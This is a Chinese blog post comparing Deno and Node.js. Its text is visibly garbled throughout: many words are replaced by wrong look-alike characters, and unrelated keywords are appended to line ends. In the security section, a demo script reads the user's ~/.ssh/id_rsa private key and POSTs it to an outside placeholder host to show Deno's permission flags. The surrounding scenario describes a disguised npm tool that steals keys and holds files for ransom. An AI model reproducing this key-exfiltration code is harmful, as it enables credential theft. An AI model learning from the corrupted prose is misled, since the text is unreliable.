Deno 已经正式发布了🎉!javascript
我说这句话时候,是否是不少前端 和 NodeJS 工(码)程(农)师已经按不住本身的40米大刀了。心中的不只感慨前端是真的会造轮子,有了 node 还不够吗,还没学会 node 又搞了个 deno,node 和 deno 啥区别?!html
的确,deno 和 node 形态很类似,要解决的问题彷佛也相同,那他们到底有啥区别,这一切到底是道德的沦丧仍是 ry (做者)人性的扭曲,让咱们走进本篇文章,一探究竟。前端
Node | Deno | |
---|---|---|
API 引用方式 | 模块导入 | 全局对象 |
模块系统 | CommonJS & 新版 node 实验性 ES Module | ES Module 浏览器实现 |
安全 | 无安全限制 | 默认安全 |
Typescript | 第三方,如经过 ts-node 支持 | 原生支持 |
包管理 | npm + node_modules | 原生支持 |
异步操做 | 回调 | Promise |
包分发 | 中心化 npmjs.com | 去中心化 import url |
入口 | package.json 配置 | import url 直接引入 |
打包、测试、格式化 | 第三方如 eslint、gulp、webpack、babel 等 | 原生支持 |
node 内置 API 经过模块导入的方式引用,例如:vue
const fs = require("fs"); fs.readFileSync("./data.txt");
而 deno 则是一个全局对象 Deno
的属性和方法:java
Deno.readFileSync("./data.txt");
具体 deno 有哪些方法,咱们能够经过 repl
看一下:node
deno # 或 deno repl
进入 repl
后,输入 Deno
回车,咱们能够看到:react
{ Buffer: [Function: Buffer], readAll: [AsyncFunction: readAll], readAllSync: [Function: readAllSync], writeAll: [AsyncFunction: writeAll], writeAllSync: [Function: writeAllSync], # ..... }
这种处理的方式好处是简单、方便,坏处是没有分类,想查找忘记的 API 比较困难。整体来讲见仁见智。webpack
咱们再来看一下模块系统,这也是 deno 和 node 差异最大的地方,一样也是 deno 和 node 不兼容的地方。git
咱们都知道 node 采用的是 CommonJS 规范,而 deno 则是采用的 ES Module 的浏览器实现,那么咱们首先来认识一下:es6
具体关于 ES Module 想必你们都早已熟知,但其浏览器实现可能你们还不是很熟悉,因此咱们先看一下其浏览器实现:
<body> <!-- 注意这里必定要加上 type="module" --> <script type="module"> // 从 URL 导入 import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js"; // 从相对路径导入 import * as utils from "./utils.js"; // 从绝对路径导入 import "/index.js"; // 不支持 import foo from "foo.js"; import bar from "bar/index.js"; import zoo from "./index"; // 没有 .js 后缀 </script> </body>
deno 彻底遵循 es module 浏览器实现,因此 deno 也是如此:
// 支持 import * as fs from "https://deno.land/std/fs/mod.ts"; import { deepCopy } from "./deepCopy.js"; import foo from "/foo.ts"; // 不支持 import foo from "foo.ts"; import bar from "./bar"; // 必须指定扩展名
咱们发现其和咱们日常在 webpack 或者 ts 使用 es module 最大的不一样:
关于第 1 点,争议很是大,有人很看好,以为极大的扩展了 deno 库的范围;有人则不太看好,以为国内网速的缘由,并不实用。你们的见解如何,欢迎在评论区发表 🤔
若是模块规范是 node 和 deno 最大的不一样,那么对安全的处理,则是另一个让人摸不着头脑的地方。
在介绍以前咱们先思考一下这个场景会不会出现:
我作了一个基于命令行的一键上网工具 breakwall
,每个月 1 个 G 免费流量,而后将压缩后的 JS 代码发布到 npm 上,而后后在各类渠道宣传一波。
羊毛党兴高彩烈的 cnpm install -g breakwall
,而后每次使用的时候,我偷偷的将诸位的 ssh 密钥和各类能偷的文档及图片偷偷上传到个人服务器,在设按期限到期后,删除电脑上资料,留下一句拿钱换资料,仅支持比特币。
若是你以为以上状况有可能出现,则会以为下面的功能很实用。咱们先用 deno 执行如下代码:
// index.js let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa"); rsa = new TextDecoder().decode(rsa); fetch("http://jsonplaceholder.typicode.com/posts/1", { method: "POST", body: JSON.stringify(rsa) }) .then((res) => res.json()) .then((res) => console.log("密钥发送成功,嘿嘿嘿😜")); console.log("start breakwall...");
PS: --unstable 是因为 Deno.dir API 不稳定
> deno run --unstable index.js
咱们将会获得以下报错信息:
> deno run --unstable index.js error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag ...
意思就是权限异常,须要访问环境变量,须要加上 --allow-env
,咱们加上这个参数再试一下。
> deno run --unstable --allow-env index.js error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag ...
如此反复,还需加上 --allow-read
、--allow-net
,最终的结果是:
> deno run --unstable --allow-env --allow-read --allow-net index.js start breakwall... 密钥发送成功,嘿嘿嘿😜
通过一番折腾,总算是发送成功了,要想盗取密钥实属不易。
那有人就说了,若是个人应用确实须要访问网络和文件,可是有不想让它访问 .ssh 文件有没有办法?
固然有了,咱们能够给 --allow-read
和 --allow-net
指定白名单,名单以外都不可访问,例如:
> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com index.js start breakwall... error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11) at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10) at async fetch ($deno$/web/fetch.ts:591:27)
若是确认是没问题,或者是本身开发软件时,图个方便,能够直接使用 -A
或 --allow-all
参数容许全部权限:
> deno -A --unstable index.js start breakwall... 密钥发送成功,嘿嘿嘿😜
安全这方面见仁见智,有人以为是多余,有人以为很好用,极大的加强了安全性。若是你属于以为这个功能多余的,能够 deno run -A xxx
便可。
不少人不理解,为何你一个服务端语言要兼容浏览器 API,以及怎么兼容。
关于为何,我举个栗子你们就明白了:在设计 node 之处,关于输出函数原本叫 print
之类的,后来有人提议为何不叫 console.log
,ry 以为挺不错,因而就接纳了意见。
可是,这个设计并非刻意为之,而 deno 的设计则能够为之,经过与浏览器 API 保持一致,来减小你们的认知。
console.log(window === this, window === self, window === globalThis);
具体方法列表,咱们能够参考:lib.deno.shared_globals.d.ts 和 lib.deno.window.d.ts
// 请求方法 fetch("https://baidu.com"); // base64 转化 let encodedData = btoa("Hello, world"); // 编码 let decodedData = atob(encodedData); // 解码 // 微任务 queueMicrotask(() => { console.log(123); }); // 等等...
整体而言,若是服务端和浏览器端存在相同概念,deno 就不会创造新的概念。这一点其实 node 也在作,新的 node 14.0 CHANGELOG 就也说起要实现 Universal JavaScript
和 Spec compliance and Web Compatibility
的思想,因此这点你们应该都会接受吧,毕竟大势所趋趋势。
无论你喜欢与否,2020 年了,必须学习 TS 了(起码在面试的时候是亮点)。学完以后你才会明白王境泽定律真的无处不在。
// index.ts let str: string = "王境泽定律"; str = 132;
> deno run index.ts error TS2322: Type '123' is not assignable to type 'string'. ► file:///Users/zhangchaojie/Desktop/index.ts:2:1 2 str = 123
deno 没有 node_modules,那么它是怎么进行包管理的呢?咱们先看下面的例子
// index.js import { white, bgRed } from "https://deno.land/std/fmt/colors.ts"; console.log(bgRed(white("hello world!")));
> deno run index.js Download https://deno.land/std/fmt/colors.ts Compile https://deno.land/std/fmt/colors.ts hello world!
咱们看到其有 Download
和 Compile
两个步骤,咱们会产生几个疑问:
一、每次执行都要下载吗?
解:咱们只须要再执行一次就能明白,不须要每次下载。
> deno run index.js hello world!
二、Download 和 Compile 的文件在哪里呢?
解:咱们会发现,当前执行的目录,并无 Download 和 Compile 文件,那文件放在哪里呢,咱们首先来看一下 deno --help
命令:
> deno --help SUBCOMMANDS: # ... info Show info about cache or info related to source file # ... ENVIRONMENT VARIABLES: DENO_DIR Set deno's base directory (defaults to $HOME/.deno)
deno info
命令展现了依赖关系,相似 package.json
。
> deno info index.js local: /Users/zhangchaojie/Desktop/index.js type: JavaScript deps: file:///Users/zhangchaojie/Desktop/index.js └── https://deno.land/std/fmt/colors.ts
DENO_DIR
则为实际的安装和编译目录,至关于 node_modules
,默认为 $HOME/.deno
(命令提示是这样的,但实际须要指定一下环境变量 export DENO_DIR=$HOME/.deno
),咱们看一下:
> tree $HOME/.deno /Users/zhangchaojie/.deno ├── deps │ └── https │ └── deno.land │ ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935 │ └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json └── gen └── https └── deno.land └── std └── fmt ├── colors.ts.js ├── colors.ts.js.map └── colors.ts.meta 8 directories, 5 files
三、没网络了怎么办?
咱们有些场景是将本地写好的代码部署到没有网络的服务器,那么当执行 deno run xxx
时,就是提示 error sending request。
解:将上面的缓存目录内容,直接拷贝到服务器并指定环境变量到其目录便可。
四、依赖代码更新了怎么办?
解:当依赖模块更新时,咱们能够经过 --reload
进行更新缓存,例如:
> deno run --reload index.js
咱们还能够经过白名单的方式,只更新部分依赖。例如:
> deno run --reload=https://deno.land index.js
五、仅缓存依赖,不执行代码有办法吗?
解:有的,咱们能够经过 deno cache index.js
进行依赖缓存。
六、多版本怎么处理?
解:暂时没有好的解决方案,只能经过 git tag 的方式区分版本。
咱们经过第 1 点能够看到,其实 deno 的 API 相对于 node 实际上是少一些的,经过其文件大小也能看出来:
> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno -rwxr-xr-x 1 42M /Users/zhangchaojie/.local/bin/deno -rwxr-xr-x 1 70M /usr/local/bin/node
那这些少的 API 只能本身写或者求助于社区吗?
deno 对于自身相对于 node 少的和社区中经常使用的功能,提供了标准模块,其特色是不依赖非标准模块的内容,达到社区内的模块引用最后都收敛于标准模块的效果。例如:
// 相似 node 中 chalk 包 import { bgRed, white } from "https://deno.land/std/fmt/colors.ts"; // 相似 node 中的 uuid 包 import { v4 } from "https://deno.land/std/uuid/mod.ts";
同时为了对 node 用户友好,提供了 node API 的兼容
import * as path from "https://deno.land/std/node/path.ts"; import * as fs from "https://deno.land/std/node/fs.ts"; console.log(path.resolve('./', './test'))
因此,你们在为 deno 社区作贡献的时候,首先要看一下标准模块有没有提供相似的功能,若是已经提供了能够进行引用。
根据 ry 本身是说法,在设计 node 是有人提议 Promise 处理回调,可是他没听,用他本身的话说就是愚蠢的拒绝了。
node 用回调的方式处理异步操做、deno 则选择用 Promise
// node 方式 const fs = require("fs"); fs.readFile("./data.txt", (err, data) => { if (err) throw err; console.log(data); });
另外 deno 支持 top-level-await
,因此以上读取文件的代码能够为:
// deno 方式 const data = await Deno.readFile("./data.txt"); console.log(data);
node 关于这方面也在一直改进,例如社区上不少 promisify
解决方案,经过包裹一层函数,实现目的。例如:
// node API promisify const { promisify } = require("es6-promisify"); const fs = require("fs"); // 没有 top-level-await,只能包一层 async function main() { const readFile = promisify(fs.readFile); const data = await readFile("./data.txt"); console.log(data); } main();
咱们知道 npm 包必须有 package.json
文件,里面不只须要指明 main
或 module
或 browser
等字段来标明入口文件,还须要指明 name
、license
、description
等字段来讲明这个包。
ry 以为这些字段扰乱了开发者的视听,因此在 deno 中,其模块不须要任何配置文件,直接是 import url 的形式。
对于 www.npmjs.com 咱们确定都不陌生,它是推进 node 蓬勃发展的重要支点。但做者认为它是中心化仓库,违背了互联网去中心化原则。
因此 deno 并无一个像 npmjs.com 的仓库,经过 import url 的方式将互联网任何一处的代码均可以引用。
PS:deno 实际上是有个基于 GitHub 的第三方模块集合。
咱们在写一个 node 库或者工具时,开发依赖是少不了的,例如 babel 作转化和打包、jest 作测试、prettier 作代码格式化、eslint 作代码格式校检、gulp 或者 webpack 作构建等等,让咱们在开发前就搞得筋疲力尽。
deno 经过内置了一些工具,解决上述问题。
babel
、gulp
一类工具: 例如:deno bundle ./mod.ts
;prettier
一类工具,例如:deno fmt ./mod.ts
;jest
一类工具,例如 deno test ./test.ts
;eslint
一类工具,例如:deno lint ./mod.ts
。就像小时候一直幻想的炸弹始终没能炸了学校,技(轮)术(子)的进(制)步(造)一直也未中止过。不论咱们学的动或者学不动,技术就在那里,不以人的意志为转移。
至于 deno 能不能火,我我的以为起码一两年内不会有太大反响,以后和 node 的关系有可能像 Vue 和 react,有人喜欢用 deno,以为比 node 好一万倍,有人则喜欢 node ,以为 node 还能再战 500 年。至于最终学不学还看本身。
若是以为文章不错,记得点赞、收藏啦~~~~